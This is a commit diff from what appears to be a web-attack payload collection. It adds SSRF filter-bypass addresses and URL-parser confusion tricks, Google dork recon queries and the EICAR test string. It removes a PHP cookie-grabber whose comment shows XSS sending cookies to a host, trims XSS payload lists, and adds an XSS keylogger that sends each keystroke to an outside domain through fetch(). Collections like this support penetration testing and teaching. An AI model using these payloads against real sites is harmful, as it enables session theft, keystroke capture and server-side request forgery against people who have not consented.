XSS Intruder + Eicar + SSRF http://0
Swissky
@ -18,10 +18,11 @@ knockpy domain.com -w subdomains-top1mil-110000.txt
|
||||
* Using Google Dorks and Google Transparency Report
|
||||
```bash
|
||||
site:*.domain.com -www
|
||||
site:http://domain.com filetype:pdf
|
||||
site:http://domain.com inurl:&
|
||||
site:http://domain.com inurl:login,register,upload,logout,redirect,redir,goto,admin
|
||||
site:http://domain.com ext:php,asp,aspx,jsp,jspa,txt,swf
|
||||
site:domain.com filetype:pdf
|
||||
site:domain.com inurl:'&'
|
||||
site:domain.com inurl:login,register,upload,logout,redirect,redir,goto,admin
|
||||
site:domain.com ext:php,asp,aspx,jsp,jspa,txt,swf
|
||||
site:*.*.domain.com
|
||||
|
||||
You need to include subdomains ;)
|
||||
https://www.google.com/transparencyreport/https/ct/?hl=en-US#domain=[DOMAIN]g&incl_exp=true&incl_sub=true
|
||||
|
||||
@ -58,5 +58,20 @@ localhost:+11211aaa
|
||||
localhost:00011211aaaa
|
||||
```
|
||||
|
||||
Bypass using rare address
|
||||
```
|
||||
http://0/
|
||||
```
|
||||
|
||||
Bypass using tricks combination
|
||||
```
|
||||
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
|
||||
urllib2 : 1.1.1.1
|
||||
requests + browsers : 2.2.2.2
|
||||
urllib : 3.3.3.3
|
||||
```
|
||||
|
||||
## Thanks to
|
||||
* [Hackerone - How To: Server-Side Request Forgery (SSRF)](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)
|
||||
* [Awesome URL abuse for SSRF by @orange_8361 #BHUSA](https://twitter.com/albinowax/status/890725759861403648)
|
||||
* [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
|
||||
|
||||
1
Upload insecure files/Eicar/eicar.com.txt
Normal file
@ -0,0 +1 @@
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
@ -1,11 +0,0 @@
|
||||
<?php
|
||||
// How to use it
|
||||
# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie</script>
|
||||
|
||||
// Write the cookie in a file
|
||||
$cookie = $_GET['c'];
|
||||
$fp = fopen('cookies.txt', 'a+');
|
||||
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
|
||||
fclose($fp);
|
||||
|
||||
?>
|
||||
|
Before Width: | Height: | Size: 379 B After Width: | Height: | Size: 379 B |
|
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 12 KiB |
|
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 12 KiB |
@ -97,9 +97,6 @@ GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
|
||||
<body onhashchange=alert(1)><a href=#x>click this!#x
|
||||
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
|
||||
<body onscroll=alert(1)><br><br><br><br>
|
||||
<br><br><br><br><br><br><br><br><br><br>
|
||||
<br><br><br><br><br><br><br><br><br><br>
|
||||
<br><br><br><br><br><br><x id=x>#x
|
||||
<body onresize=alert(1)>press F12!
|
||||
<body onhelp=alert(1)>press F1! (MSIE)
|
||||
<marquee onstart=alert(1)>
|
||||
|
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 3.9 KiB |
@ -1,4 +1,3 @@
|
||||
# credit to rsnake
|
||||
<SCRIPT>alert('XSS');</SCRIPT>
|
||||
'';!--"<XSS>=&{()}
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
|
||||
@ -18,6 +18,11 @@ fclose($fp);
|
||||
?>
|
||||
```
|
||||
|
||||
Keylogger for XSS
|
||||
```
|
||||
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
|
||||
```
|
||||
|
||||
## XSS in HTML/Applications
|
||||
XSS Basic
|
||||
```
|
||||
|
||||